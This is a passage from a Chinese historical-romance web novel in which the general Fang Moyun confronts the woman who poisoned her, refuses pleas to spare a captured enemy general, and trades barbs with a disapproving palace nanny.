执礼望向他们温和地说道：“诸位找少帅之事，但说无妨。”
西今站在前面，略微躬身，语气恭敬：“我们想求见一下贵军的方茉云将军，不知少帅可否允准。”
正啸抬起头，眼中闪过一丝无语，但还没有等他开口，茉云便已经抬头，眯着眼睛看向他们，晃着手，语气有些无语说道：“你们是瞎了？我就坐在这里，你们跟他说什么！”
随即，正奇一脸嬉笑，语气带着一丝调侃说道：“按照你们的规矩，见您不得跟少帅汇报一声？”
茉云听了忍不住翻了个白眼说道：“军里的压根没有这个规矩。”
正奇大手一挥，笑着说道：“毕竟你朝女眷不得随意见人吧！”
众人都忍俊不禁的看向他们，显然他们跟茉云如此相熟，亦知道茉云和正啸之事。
茉云则微微被逗笑了，眼中带着一丝笑意不以为然的说道：“你说他女眷这事啊，我还没搞成！趁着没成还能见，你们有啥事赶紧说。”
正奇忽然诧异的看向茉云，好似旁若无人的八卦此事，问道：“你意思你这八字还没一撇？你单相思啊？少帅不喜欢你啊？”
茉云带着几分无语瞪向正奇，没好气地说道：“既然您这么有兴趣知道，下次有空我帮您问问他，再回答你？”
顿时，营帐中众人顿时哄堂大笑，正啸眼中虽然透出一丝无语，但眉头也微微舒展开。
奇能笑着抱拳说道：“我们其实是想来跟你商量一下，问问是不是能跟少帅和卢家军求个情，放我们一个兄弟一码。”
茉云一边品茶，一边轻描淡写地问：“哪个兄弟？你们在这儿还有兄弟，交际这么广？”
她的语气中带着一丝轻松，但眼神中却闪过一抹锋利，显然对这突如其来的请求有些警觉。
正奇则一脸笑意，完全没体会到茉云的质疑，还有几分自豪地说道：“那是，部落人我们交友广天下，你看朝廷之中，我们也有你这个朋友!”
茉云的眼神却瞬间变得冷冽，她放下茶杯看向正奇，目光如冰地重复着正奇的话：“交友广天下？”
奇能定然是察觉到茉云眼中的冷光，立刻解释道：“他本是这些年我们结交的朋友，原来只是司融国边关的一个小兵，和我们算是不打不相识，但他凭借一身好武艺，而且赤诚忠勇，后来得司融老国主赏识，成为了将军。他与卢家军一战是为了保家卫国，并不是与朝廷为敌，如今却被罪定为篡位的同党。可是他只是个守边关的将军，还望卢家军和司融国主可明察。”
执礼此时望向奇能，问道：“不知奇能部落主说的是哪位司融的守将？”
“他叫尚枫。”
萧怀逸旋即冷冷地插话道：“那他确实是个驻守边关的好将领，不然为何差点一箭射中我军少帅！”
他的声音里透出的一丝锋锐，显然对此事有所质疑。奇能和正奇微微一愣，没想到尚枫竟然与卢家军有这样一段过节，气氛顿时有些凝重。
茉云则目光冷冷地扫过奇能，眼中带着一丝探究的问道：“你可以命作保吗？”
奇能依旧一脸坦荡，毫不畏惧地看向茉云，说道：“他，我可以！”
茉云眼中的冷光更加锐利，声音冰冷地问道：“我有可能没问清楚，我再问一遍，日升少部落主，你不去管你刚大战之后的日升部落，来卢家军以命相保一个萍水相逢的朋友？”
气氛瞬间紧张，中人的目光都集中在茉云身上，似乎好似能感受到周遭中弥漫着一种无形的压力。
奇能微微叹息，眼神透出一丝无奈与坚定：“他属实是个重情重义之人！”
正奇也点了点
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头，似乎在支持奇能的观点，眼神充满了信任：“他真的个值得信任的朋友。”
茉云的眼神在几人之间转动，最后定格在西今身上，好似在问他是否也支持这个决定。
西今深吸了一口气沉默了一会儿，略带谨慎地说道：“我信两位哥哥有识人之明。”
茉云顿时拍案而起，猛地站起身顿了半刻，忍着身上的疼痛，声音洪亮的说道：“他们两还有识人之明？他们曾经也用重情重义形容过我，结果当年我只花了一晚上的时间考虑，就跑了！人是敌方大将，岂能说放就能放，司融国就在未来卢家军大军的后方，万一人有半分包藏包藏祸心，都是致命之过！”
“说来此事也怪，这个人倒是人缘极好的！”怀逸笑笑喝着茶故作平淡的看向若辰说道，“昨日鸿音长公主也来跟尚枫将军求情！说是他下属林宇将军的表妹夫。”
顿时若辰无语的看向怀逸，他这显然是火上浇油。
“这下完了，方茉云本就重色轻友，人射了少帅一箭不说，还是她情敌的朋友，这下彻底完了！”正奇看着奇能忽然评价道。
“滚！”茉云顿时愤怒地指着营门，声音震耳欲聋地吼道，话音刚落，营帐内顿时一片哄堂大笑。
就在此时，但还未等茉云的情绪平息，营门忽然被推开，王强带人押着一个纤瘦的女子走了进来。
茉云愣了半刻，目光定格在那个认识的身影上——是那个做米糕的老板娘！她的眉头瞬间紧蹙，显然她也知道是她对自己下的毒。
不言则愣住了，他一时间没反应过来，急切地看向王强问道：“你这是干嘛？”
王强忍着身上的伤痛，咬牙说道：“白神医，您和不言早上遇见我时，不言问我，为何方将军吐出的血有毒，而我的血迹中没有。昨日从头到尾，方将军吃了的，而我没吃的就只有这个米糕。而且此人极为可疑，我路上问了她，她认了，说她下的毒。”
茉云的眼中闪过一丝冷光，语气不带一丝情绪的问道：“为何？”
那女人脸上竟没有一丝慌张，反而显得从容不迫：“我是尚枫的夫人，我只想和他一起死。”
她的话语中带着一种平静的决绝，茉云闻言眼神中带着一丝冷酷，随即反手抽出了旁边守卫的剑，递给了她。
然而，女人却冷冷地说道：“我曾答应过我丈夫，我的命是他救的，没有他的允许，我不能死，不能自杀，可我就想和他一起走。”
奇能在一旁深吸一口气，眼神复杂地看向她，显然对于她的话有些震惊.因为他们知道她便是尚枫珍视的妻子，一个尚枫路边遇见的女乞丐。
“什么？”茉云的语气中带着一丝愤怒与疑惑，“说点我能听得懂的话！”
那女人冷冷地看着茉云，嘴角勾起一抹讽刺的笑：“只有野心，毫无真心之人当然不懂，何况是你这么一个轻易就能背弃婚约，四处招惹、水性杨花的女子。”
不言站在茉云身边顿时急切地骂道：“你胡说八道什么呢？”
“我胡说吗？”女人冷冷地看向茉云，嘴角带着一丝冷笑指向正啸和奇能，眼中都是嘲讽的说道，“还有那幽戎吧，不都是吗？你也属实有本事，但只怕是天下女子的的颜面都让你丢尽了！”
众人皆抬目皱眉望去，她一心求死，竟如此口无遮拦，正啸眼底顷刻迸射出了怒意，萧怀逸则轻轻笑了笑，透出几分看好戏的神情……
茉云的眼中闪过一丝狠戾，嘴角勾起一抹冷笑：“你又是如何知道的！”
342.祸水
“若要人不知，除非己莫为。”那女人冷笑着看向茉云，眼中满是挑衅和不屑，好似每一个字都是对茉云的讨伐。
茉云的脸上没有丝毫变化，但执礼和怀逸等人眼神却微微一凝，众人亦意识到这女人所说之话必也是听了谁的。
“我那药虽然毒不死你，但你绝不会如此安然无恙，只有一种可能，那便是你不受毒药侵蚀！可你为何百毒不侵？”那女人冷冷地注视着她，不紧不慢地冷笑着说，“西边诸国皆知，峑戎王宫中的至宝之一，便是那圣品天山雪莲，食之便能百毒不侵！”
她的话语瞬间如同锋利的刀刃一般，一下子划开了茉云含毒却未中毒的真相，瞬间让众人心中波澜骤起。
白神医听到此话，眼中更是充满了震惊和困惑，脸色也变得异常严肃几分，低声自语道：“天山雪莲？”
他们习医之人都知道这是如何可遇不可求的人间至宝，他随即迅速掏出一根银针，让茉云伸出了手，轻轻地扎入她的手指，滴出了一滴鲜血入旁边的白瓷茶杯中，稍作停顿后，白神医在茶杯中再试了一次毒药。
白神医观察了半刻之后，看向茉云眼中满是复杂的情绪：“原来如此，茉云吐出来的血中含有胃中残食，所以毒也在其中。但是你的血如今确实百毒不侵，所以你无恙！”
茉云的眼神冷漠毫不在意，只是静静地看着他，王强在一旁吃惊的看着，也扎了一下自己手，一滴血滴入茶杯中，结果不出所料，他也得出了相同的结果……他的血亦不受毒不侵。
他的眼神充满了惊讶和难以置信，不言见他如此质疑，也滴了一滴自己的血入茶杯，那血瞬间被毒染黑……
茉云脸上透出一丝无语，看样子属实是幽戎这次请了她去，将峑戎王宫中的至宝之一，放在了菜食里给自己吃了下去，让自己能够百毒不侵，而王强亦吃了，所以他亦不会中毒。
而此刻，那女人忽然发出了冷凌而嘲讽的笑声，说道：“那幽戎干犯天怒谋朝篡位，却将峑戎皇宫之至宝天山雪莲，对你双手奉上，而你又可在卢家军中如此长袖善舞，你这左右逢迎拿捏男子的手段怕是苏妲己都无可匹敌！”
正啸听到到此话，顿时愤怒的抬手，声音低沉且充满压迫感的说道：“将她押下去！”
然而，就在这时，不言忽然喊道：“梦林，你不要说了，根本就不是你想的那样！”
众人顿时没晃过神地望向不言，他的声音竟然如此急切，而且她竟然知道此人的姓名……
不言双腿跪下还猛地一磕头，向正啸恳求道：“求少帅饶她一命，她只是一时激愤，口不择言。”
一场突如其来的变故让营帐内的气氛更加冷凌，正啸眼中闪过一丝复杂，他虽然愤怒，但看到不言如此跪下求情，他亦不可能视而不见。
不言跪在地上，眼神中带着几分挣扎与愧疚，开口说道：“少帅，她是我昔日学医启蒙师傅的女儿，我的师妹陈梦林……”
话音未落，陈梦林却猛地瞪向他，眼中满是决绝，声音带着忿然地吼道：“你给我闭嘴，我与你毫无干系！”
茉云皱了皱眉看向不言，眼中透出一丝疑虑：“你这又是什么鬼？”
不言深吸了一口气，显得有些无奈，亦有些难以解释：“她与我有婚约，但是后来我家道中落，离开了新元，我们也解除了婚约。之后就再也没有任何联系。”
陈梦林听到这话。她的眼神瞬间如同尖刀般锋利，瞪向不言，声音中带着咬牙切齿的怒意：“真是一派胡言，昔日是你恋慕上他们朝廷太医的女儿，执意与我解除婚约，如今你凭何资格再提此事！”
不言深吸一口气眼中都是深深的愧疚。茉云抬眉望向他，自己倒是着实从来没有在不言的脸上看到过这么自责的神情，即使是当年他卖假药，都是那般理直气壮。
“我只是觉得当日与你只有师兄妹的情谊，我也受不了你哥嫂终日的冷嘲热讽，于是便退婚了，想彼此能找一个更合适的人，我没想到会害得你那么惨。”不言的话语中带着深深的悔恼和无力感，一切终究无法挽回。
陈梦林眼中却闪过一丝冷笑，语气愈加冰冷：“新元被弃婚的女子，会是如何下场，你不知道吗？我哥哥嫂嫂会如何待我这个嫁不出去的妹妹，你不知道吗？”
不言微微低头，声音轻轻地问道：“难道是他们将你赶出了家门？”
陈梦林声音如此忿然，却透着一股带有苦涩的坚韧：“不，是我自己离家的，我宁愿死也不愿在那个家里日日苟延残喘，听尽我那贱人嫂子的废话！”
她的每个字好似都带着一股强烈的决心与自尊，茉云从她的眼神中也看得出，她是憎恶人世的不公，亦不愿屈服于命运的人。
营帐内的气氛一时又变得沉默，不言深吸一口气，神色愈发沉重，他低下头愧疚地承认：“是我对你不住，当年若不是你求你爹救我，我早已命丧黄泉。可我待你真的从来都是兄妹情谊，即便你怨恨我也好，不原谅我也好，可……无论如何，我都可以陪命给你。”
他说到这里，整个人似乎陷入了一种无尽的自责，跪在地上移到了正啸身旁，恳求道：“少帅，请您饶我师妹一命，我这条命可以抵命。”
然而，陈梦林冷冷地扫了他一眼，眼中满是讽刺与冷漠：“哼，收起你的虚情假意吧，我不需要，你亦不配。”
茉云则冷冷地扫视着她，眼中透出了决绝：“来人啊，将此人先行押解下去。”
她好似对于不言的求情毫不在意，然而不言似乎并未放弃，他一把抓住了少帅的衣角，声音哽咽而急切：“少帅，不言求您了，当年您拜托我冒着生命危险去救方茉云……是不是也算欠过我的人情？”
正啸眉头紧蹙，微微低头望向跪在身前的不言，而不言眼神中满是哀求。
“拖下去，听不见我说话吗？”顿时茉云的眼神中透出了狠戾，守卫立即上前准备押解陈梦林，军中之人皆知茉云平日里喜笑颜开最好说话，就是和个小兵都能聊得很开心，从无官架子，但她若下了军令，那就是铁板钉钉的事，决不能马虎迟疑半分。
“方茉云！”不言有几分错愕的看着她师妹被押下，眼中都是惊叹和忿然。
茉云则冷笑一声，毫无转圜的说道：“这个人不能留，任她是谁！何况她想死，你何不成全？”
不言瞬间瞪向茉云，眼中满是愤怒与无奈：“她是我师妹！师傅走之前，曾经托付她给我！”
茉云的眼中闪过一丝寒戾，声音愈发冷冽的看向不言和奇能他们说道：“军中绝不可因私废公，他和她丈夫无人能救！”
众人皆知，茉云如果已然做出了的决定，那便是当真无人能救，因为她从不轻易改变决定……
而不言顿时便激动地大吼道：“方茉云，我救过你的命！而你被饶恕过这么多次，卢家军从不因私废公吗？”
他的声音中带着深深的悲愤，他似乎无法接受自己视为挚友的茉云尽然在此时如此冷酷无情，他师妹不过是行差就错，她却如此决绝的处置她。
“需要我给你展示一下如何叫做不因私废公吗？你若当着这些友帮部落的面，再讲一句有损卢家军清誉的话，我现在就以军法处置你。”茉云的话中带着无尽的冷意。
此时，奇能深吸一口气皱眉看向茉云，她话里话外的意思不过是指自己和正奇、西今皆是外人。
“而此女心智阴冷且偏执，本就怨愤这人世，而且她师承毒师，她丈夫若死，你以为她
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会放过世人，只是毒我？”茉云目光落在了梦林的身上，没有丝毫的温度。
已经被押解的陈梦林忽然阴冷的笑了，好似将一生的痛苦与怨恨都化作了这犀利地笑容：“你确实也能耐，一眼便能看破人心。若我没死，我是可能让这满城的人都给我丈夫陪葬！”
茉云一抬手，陈梦林被带了下去，营帐内顿时又陷入一片寂静无声。每个人似乎都感受到了此刻沉重的气氛。
而不言则瘫坐在地，眼中满是震惊与懊悔，他看着眼前的一切，脑海中回荡着师傅临终时交代的那句托付——照顾好师妹。他心中一阵酸楚，失散多年如今匆匆一面，她年纪轻轻竟走到了这般田地。
所有人深吸一口气，而茉云的冷漠与决断，好似一道无法跨越的高墙，她绝情之时，顷刻之寒便可冰冻三尺。
正奇还想说些什么，却被奇能一把拉住，示意他不要再说话。三人默默行礼，然后一脸冷然的转身走出了军营。身后忽然传来了不言的咆哮声。
“方茉云，你是不是从来都没有真的朋友，天下人对你的好，你都享受着，而转眼你便翻脸不认人！枉我不言当你是一生挚友，其实是我从来也没有看清过你！”
“那你现在看清一下，你师妹不刚也说了吗？我，苏妲己啊！”茉云安静地坐了下来，给自己茶碗里倒着茶，眼中不见一丝波动，她的神情如此平静，仿佛一切的纷争与变故都与她无关。
白神医起身将不言，死拖活拽般拽出了营帐，而军营中氛围好似变得愈加沉重。
执礼他们皆知茉云不过是将正啸的为难拦在自己身前了，正啸当然有权力可以放了他们夫妇二人，可那将军是司融新国主如今深恶痛绝的战犯，他若赦免私放会是什么后果？
片刻后，若辰轻笑着看着正啸，故意说道：“你素来不畏人言，何以如此生气？”
“哼！”茉云白了一眼没好气地喝着茶，眼底却透出一丝疲惫，撑着案几起身，想要离开。
就在她准备离开的瞬间，正啸望向茉云说道：“去哪？”
茉云顿时没好气地转身，冷冷地回道：“看你的军务文书管我干嘛？”
正啸则无奈地看向她，声音中却有一种不容质疑的威严：“你给我呆在营中修养，你若无趣，亦可看看书。”
“你那军书我都倒背如流了！”
“你可跟关若辰借几本书看看，日后就不会到处胡说八道了。”正啸看着自己的军务不急不缓的说道。
茉云眸子闪烁着怒火瞪向正啸说道：“我哪儿胡说八道了！”
正啸则淡然地看向若辰，嘴角微微上扬的问道：“书中是如何描写苏妲己的？”
若辰顷刻就明白了正啸的意思，他居然是在逗茉云开心，语气中带着几分笑意的说道“乌云叠鬓，杏脸桃腮，浅淡春山，娇柔柳腰，真似海棠醉目，梨花带雨，不亚九天仙女下瑶池，月里嫦娥离玉阙。”
茉云顿时被逗笑了，拿起茶杯就扔了过去，正啸微微闪身便躲过了，结果茶水洒了千山一身，千山站在一旁压根没有意识到，尴尬而无奈地看着正啸。
茉云和万莫已经忍不住笑了起来，茉云眼中的冷气顿时消散，营帐内的气氛一时变得愉快而温暖了很多。
萧怀逸不禁端起茶杯喝了一口，嘴角微微上扬的望向正啸，无论世人如何置喙方茉云，他皆不在乎，而且只有在方茉云的面前，他才不再那般严肃，眼中都透出了温和的光，如今竟还学会哄人开心了……
可就在此时，门外传来了传令兵的声音：“少帅，元帅说鸿音公主来了，请您和诸位过去，包括方将军。”
顿时众人目光一凝，不知为何就透出一丝异样的气息，为何点名让茉云去……
343.笃信
众人来到元帅的营帐中，原来是新元的后援部队今日也到了，营帐中热闹非凡，帐外站着的是一队新元部队的士兵士气昂扬，最引人注目的是鸿音公主身旁的长子——新元的大皇子沐阳。
鸿音公主依旧穿着一袭华贵的礼服，气质高雅，身旁的沐阳虽然年少，但那份大皇子的尊贵气息不言而喻。
鸿音居然亲自带着大皇子向正啸行礼，正啸马上躬身拦住，新元的大王子向自己行礼不能就于礼不合，随后鸿音笑容温和地向正啸介绍沐阳，她的声音如丝般温柔贤淑，却又透出让人不容忽视的气度。
茉云站在人群的最后，低垂着眼帘，心中暗自想着，此时将自己安排来又是唱的哪出，但这番安排肯定也别有用意。
此时鸿音公主转向茉云，看着她语气平和地说道：“本王后昨日并不知道你和卢家关系如此紧密，只当你是军中不服管的刺头，让林宇代为管教一下，林宇也是个直性子，说打就往死里打了，不知道有没有伤到你。”
众人都转头看向茉云，正啸眉头微微一皱。茉云闻言轻轻一笑，语气亦异常温和地说道：“王后言重了，皮外之伤，无碍。”
她两语气平静，皆面带笑容，但那抹微笑背后，却隐隐透着一股疏离和防备。
就在此时，鸿音公主的贴身嬷嬷走了过来，目光在茉云身上扫过。她打量了茉云一会儿，眉头微微皱起，眼中瞬间闪过一丝鄙夷。
这位樊嬷嬷当年曾是正啸姑姑的贴身婢女，自小便也出自卢家，后来随伺入王府，被当日的王妃安排照顾鸿音公主。她与卢家有着深厚的渊源，当她的目光停留在茉云身上时，眼中便好似写着一行字，如此粗鄙的女子，怎么配得上卢家少主卢正啸呢？
茉云自然是察觉到了樊嬷嬷眼中的不屑，她微微挑眉心中却没有任何波动，目光依旧冷静如水。
鸿音公主看见了樊嬷嬷的眼神，她转头看向正啸，眼中带着一丝意味深长的光芒，而正啸则目光沉静，并丝毫未受到这场微妙的较量所影响，只是默默而关切的看了茉云一眼。
那樊嬷嬷好似不再想多看茉云一眼，转身和老太君说话，她对老太君和元帅极为恭敬，眼中都闪烁着对她们的尊敬与忠诚。而当她转向正啸时，态度变得更加亲近，眼神中不自觉地透出了几分母亲般的爱护。
此时，鸿音坐下轻轻望向元帅，语气温和而恳切的说道：“大舅昨日我就想与您说，您和正啸能否看在我的面子上，为林宇的这个表妹夫尚枫求个情。怎奈今日不知怎的，林宇的表妹也被抓入了这卢家军大营。”
“怎么回事？”元帅看向他们问道。
执礼听到后，立刻补充道：“启禀长公主和元帅，那名女子是因为对军中的将军下毒，所以被押解了。”
话音一落，整个营帐的气氛顿时变得凝重。
鸿音一愣，随即问道：“他对军中人下毒？竟有此事？个中曲直是否能传她来一问？”
老太君顿时皱了皱眉，语气不容置疑的说道：“去将那人带来！她毒了哪个将军？”
执礼迅速答道：“回老太君，是方茉云将军。”
他的话一出口，营帐内的空气好似又凝固了一瞬，所有人的目光瞬间集中在茉云身上。
鸿音亦诧异地看向茉云，眼神中带着几分不敢置信和疑虑，端详了她半刻，随后问道：“方将军如今可有恙？”
茉云微笑着摇摇头，心中顿时感叹——论“假”这个字，真是世人都赢不了皇室中人！她冷冷地站在一旁，神情如常，她知道鸿音这番话无疑是在引导众人将话题带到自己身上。
元帅听到茉云中毒的消息后，立刻关切地问道：“茉云,你中毒了？白神医怎么说的？”
“没有！元帅，我好得很，您别担心！”
老太君拄着拐杖，听到这些目光瞬间锐利如刀，瞪向执礼问道：“那到底怎么回事？意欲下毒？还是有什么误会！”
执礼犹豫了片刻，眼神闪过一丝迟疑。
老太君则不耐烦地拿起拐杖顿了顿地面，语气异常严厉：“说！这里又没有外人！”
执礼深吸了一口气，终于解释道：“因为茉云吃过天山雪莲，所以百毒不侵！”
老太君的眉头瞬间皱起：“什么东西？”
她们显然对天山雪莲这个名词感到陌生，只是百毒不侵这四个字便会让人眼中透着一丝震动。
茉云自然而随意的回道：“之前去峑戎见到了幽戎，他请我吃了一餐饭，那菜里应该是有天山雪莲！”
就在此时，鸿音公主身边的那位樊嬷嬷满脸诧异，眼中闪过一丝难以掩饰的震撼：“那天山雪莲不是峑戎皇宫中的圣品吗？乃天下至宝，他为何给敌军的将领吃了？”
茉云顿时冷冷一笑，心想这嬷嬷戏还挺好，她们不就是要引出来此事吗？她眼中闪过一丝寒戾，说道：“大抵是因为觉得我这人还不错吧！”
那樊嬷嬷瞪大了眼睛，眼中满是震惊和不可置信，仿佛听见了什么冒天下之大不韪的话。她愣了半晌，声音中带着愤怒与不解：“你如何说得出口？”
茉云丝毫没有理会她的愤怒，嘴角上扬地说道：“嬷嬷问我？我当知无不言啊！您毕竟也算长我一辈，难道我能诓骗您？说那幽戎只是弄错了，他将那天山雪莲当成白萝卜，炖了牛骨请我吃了？”
顿时执礼和东山相视一眼，忍俊不禁，老太君挑眉无语的看向茉云，嘴角也不禁露出一丝无奈的笑容。
就在此时，陈梦林被押解进来，可并没有人在意到她，而那樊嬷嬷看向茉云，脸色愤怒地说道：“你身为一个女子，怎能如此不知检点？那可是敌军主帅！”
茉云语气没有丝毫波动，轻笑着说：“瞧嬷嬷您说的，人怎么想关我何事？”
樊嬷嬷气得脸都涨得通红，一脸嫌恶的说道：“苍蝇从来不叮无缝的鸡蛋。”
这话让茉云不由自主地轻笑出声来，她挑眉淡然看着樊嬷嬷那气急败坏的模样，一脸的无动于衷。
樊嬷嬷更是一脸惊叹于，这世上竟有如此妖孽般的女子：“您怎能如此厚颜无耻的
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笑出声来，你就不怕人说你……”
“不怕”茉云一脸故作真诚的打断樊嬷嬷说道，“嬷嬷，人只是说我，又不打我，那不随便人说，那是他们自己的事，与我无关，我不听，不信也不在乎。但人要打我，我就肯定打死他，”
顿时执礼等人再也忍不住笑意，看向茉云那一脸死猪不怕开水烫的神情。
樊嬷嬷当真是忍无可忍的咒骂道：“你一女子，言辞竟然如此粗俗不堪！”
“哦，嬷嬷，是个文化人，不喜欢听白话是吗？”茉云悠然的看向樊嬷嬷，一脸的恍然大悟，然后清了清嗓子，故作一副文人雅士的模样拱手说道：“嬷嬷言红颜皆祸水，可女子亦有志，我行其野，芃芃其麦。”
正啸望向茉云的眼神中透出了柔和，若辰听到茉云的回答，笑容中亦露出一丝赞许……
而樊嬷嬷依旧满脸质疑，目光中充满了不解与愤怒的说道：“什么？”
“嬷嬷，意思就是，野外的麦子，自己长得茂盛就好，关别人屁事。”茉云一脸笑意的补充道。
元帅正在端茶喝着，顿时差点被呛到，眼中露出一丝无奈，他随即放下茶杯无语看向茉云，长叹了一口气。而营帐内的气氛顿时变得轻松些许，了解茉云之人都忍不住了笑出了声，她速来就是这般死猪不怕开水烫的性子……
而樊嬷嬷则彻底愣住了，她的目光死死锁住了茉云，好似无法理解眼前的这个女人为何能如此肆无忌惮地站在卢家的面前，渐渐她的目光随后转向卢家人，尤其是看向正啸和老太君，似乎完全无法理解为何卢家会容忍一个如此荒谬之人留在正啸身边。
卢老太君面无表情，轻轻叹了口气：“行了，茉云有伤在身，先行回营休息吧。”
茉云恭敬地行了一礼，头也不回地朝着营帐外走去。而此时陈梦林不禁抬目看向茉云的背影……
可当茉云走到营帐门帘之时，樊嬷嬷还未等她离开，便好似痛彻心扉的向老太君叹息道：“少主曾是皇后最疼爱的侄儿，她怎能忍受她的侄儿身旁有一个如此粗鄙不堪、放浪形骸的卑贱女子？连奴婢都看不惯，皇后她在天之灵看见了岂不是……”
她的话语带着浓浓的惋惜和失望，茉云听到这话，心中浮现出一丝冷笑她没有停下，也没有转身回应，她只想尽快离开这儿……
可就在她准备快速离开时，营帐内传来了正啸不急不慢的声音：“我姑姑在天之灵定然觉得嬷嬷远在新元，看不看得惯无所谓，他侄儿看得惯就行。”
樊嬷嬷瞬间被正啸的话语彻底震住了，原本高傲的眼神此刻变得黯淡，而满腹的指责，好似这一刻一个字都说不出来。鸿音亦错愕望向正啸，眼底微微透出一丝异动，但是显然她很快就掩盖了过去……卢老太君则微微抬眉，嘴角亦不禁上扬的白了正啸一眼。
茉云当然也听到他的声音，但她没有回头或停留，只是静静地走了，但是这一刻所有的争论和指责都在心中消散了……
知我冷暖，懂你悲欢，我崇拜你的坦荡，而你懂我宠我像个孩子。
344.支撑
茉云一路回到正啸的营帐，看到那铁狮军——昨日他们将自己一顿毒打，今日却又如此羞辱，想着便觉咬牙切齿，拳头在逐渐紧握的同时，却也在渐渐松开。
她的目光远远地投向铁狮军所在，心中不禁感叹，这支军队的战力果真非凡，士兵们个个身着严整的战甲，目光坚定步伐沉稳。阳光透过高耸的营帐照射下来，映照着他们脸上的不屈与决心，此时烈日当头，空气中都弥漫着汗水与泥土的气息，但他们并未显得疲倦，反而愈发昂扬，斗志如同烈火般炽热。
茉云深吸了一口气，慢慢走进了营帐，坐下便捏起万莫买的零嘴，放进嘴里嚼着，但眼神却若有所思，她回忆起那位新元国的主帅林宇，年纪轻轻便坐上了主帅的位置，想必也是出自新元显赫的家族，就如卢正啸那样深得主子的信任，且家族在朝堂上拥有不可小觑的势力。
然而，这个来自朝廷的鸿音长公主，竟能操控新元国全国的军力，着实也不简单。她不禁深吸了一口气，心中暗道，若是卢家军能得他们相助，的确是如虎添翼。而自己，眼下只能把这口气咽下……
而此时，正啸亦不在想听元帅营帐中，那些所谓权谋、恩情和无奈的话题，眉头微蹙对元帅说：“父帅，我还有军务在身，先行告退了。”
他话音未落，不等元帅回应，转身便向鸿音等人行了礼，随即匆匆告退。鸿音目送正啸离去，望着他渐行渐远的背影，眼中不由得透出一丝戚然，似乎那并不只是因为所求之事，而是夹杂着某种深深的情绪。
正啸回到营帐，看见眼前的茉云正咬牙切齿地吃着果干，压抑愤怒的情绪显而易见，她那拼命压火的样子，竟让正啸忍不住轻笑了。
他走上前去，忽然一把就将茉云抱去，抱得茉云愣了一瞬，旋即要挣扎。然而正啸感受到她身上的寒冷与虚弱，没有松手放开她，反而将她抱得更了些。她顿时感到温暖弥漫全身，紧绷的神经也渐渐放松下来。
正啸低沉的声音在她耳边响起：“让我抱着，暖和点。”
茉云也没有再挣脱，任由那股温暖围绕在心间，正啸抱着她坐在自己怀里，双手拿起案上的军务文书，继续批阅着。
过了一会儿，执礼匆匆走了进来，看到这一幕，他愣了半刻立刻转身要退下。
正啸却直接开口问道：“何事，说！”
执礼看着茉云犹豫了片刻，终于还是开口：“老太君她说……”
茉云自然是察觉到他的迟疑，便接过话茬说道：“老太君说将陈梦林放了，是吗？”
正啸闻言，眉头顿时紧锁瞪向执礼。可是执礼急忙说道：“少主，老太君也是念在雄狮军刚到，林宇是林家主帅，而陈梦林的母亲是林家嫡女。老太君怎能不顾此情面？就连鸿音公主都说，尚不论能不能救林帅的表妹夫，如果连这点面子都不给，连他表妹都不放，鸿音公主也怕难以调遣新元军中立足。”
话音未落，正啸顿时就要起身，他素来最恨受人裹挟。
最终，茉云轻轻拉住了正啸，阻止了他起身。正啸皱眉转头看向她，眼中隐隐带着些许疑惑，他想让知道茉云从来都不放过恶人。
茉云深深看了他一眼，语气平静却透着决然：“既然他们这般在意这个表妹，救下之后定然会将她带回新元，那起码说明她不会下毒为祸卢家军，那便随她去吧。”
正啸没有立刻回应，眼中闪过一丝沉思，但最终也并未多言。
执礼则看向茉云，忍不住笑了起来：“方将军的格局，越来越大了。”
茉云听到这话轻轻一笑，目光却带着些许感慨，原来这人世的格局，确是委屈撑大的。
执礼马上准备退下，正啸依旧抱着她静静地坐在案前，运功为她取暖，目光微微低垂，望向桌上的军务文书。而茉云依靠在他怀里，安静地感受着这一刻的温暖与平静。
茉云看向正啸那专注而深邃的双眸轻轻问道：“带西南部落打仗之时……我忽然发现了一个问题！我什么军务都没处理，战也打了，也胜了，为何你要处理那么多堆积如山的军务？比皇帝还累？”
“因为西南部落没有朝廷！”
“你……姑父要如此看管着你！”
正啸深吸一口气说道：“他是皇帝，自古皇子谋朝篡位都是常事，何况是手握重兵的侄儿呢？时时看管，处处警醒，他能安心便好！。”
“你倒是处处都能体谅他们！”
正啸望向茉云伸出了修长的手指，穿过她的黑发，揉了揉她的发顶，如同抚摸爱宠一般。
茉云微微一怔，躲开半分，瘪瘪嘴巴看向正啸说道：“摸你家狗呢？”
万莫在一旁吃着零嘴淡然的回答道：“不是，小白虽然叫小白，它可脏啦！”
正啸和茉云顷刻间被他逗笑了，就在这时营帐外传来千山的惊呼：“元帅好！”、
显然声音好似惊呼，元帅却全然未觉还肯定到：“气势昂扬，好，不错。”
茉云听到这话瞬间忍俊不禁，立刻从正啸怀里挣脱开来。
不一会儿，老太君和元帅一同走了进来，白神医也随行而至。元帅见到茉云，脸上立即露出了关切的神色，立即问道：“小白，你快给茉云再探探脉，说得那么传呼其神，本帅还是不放心？”
白神医坐下为茉云把脉。顿时眼中闪过一丝复杂的神色，目光偶尔瞥向正啸，他显然察觉到，正啸刚才将自己内力输入到茉云体内，为她取暖。
白神医微微一笑，脸上露出一丝笃定的表情，缓缓说道：“茉云体内有内力守护，确实无恙。”
老太君和元帅都松了一口气，怀逸听到这话，瞬间明白了白神医的意思，眼中闪过一丝不满，可看起来卢家人似乎对天幽戎之事并不在意，将门中人果然豁达。
而事实上，即便元帅并不知情，老太君却已经了然于心。她深知茉云此行的缘由，本是为卢家不得不以身犯险，老太君看向茉云，语气冷静却透着深意的问道：“鸿音长公主为那女子求情之事，你怎么看？”
茉云淡然一笑，眉眼间透露出一丝嬉笑：“老太君，这事恐怕轮不到我来说吧。”
“问你就直说，少东拉西扯！”老太君皱眉打断道。
茉云顿时语气一转，挑眉冷笑的回道：“直说？您定然是早已答应了，那还问什么？”
她言辞中透出的锋芒让氛围瞬间凝滞，元帅一脸无语的旋即转身准备安抚老太君，谁知老太君听了，非但没有恼火，反而长叹了一口气，眼中似乎有一丝无法言明的无奈：“不然能如何呢？”
茉云的眼神顿时透出了寒戾，语气也沉了下来：“但是那判将表妹夫尚枫，卢家军绝不能放！若您还要和我商议此事，那就不用再说了。军中谁若要救他，我便上奏折参他，干预他国国政！”
话音一落，营帐内顿时一片寂静，众人都愣了半刻表情各异，只有老太君他们才明白茉云的个中深意，卢家本就率领大军在外，如何还能插手他国国事，御史们将会如何写，狼子
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野心勾结友邦势力，意图乱政？圣上会做何想，所以卢家是断然不能去跟司融国主求情的……
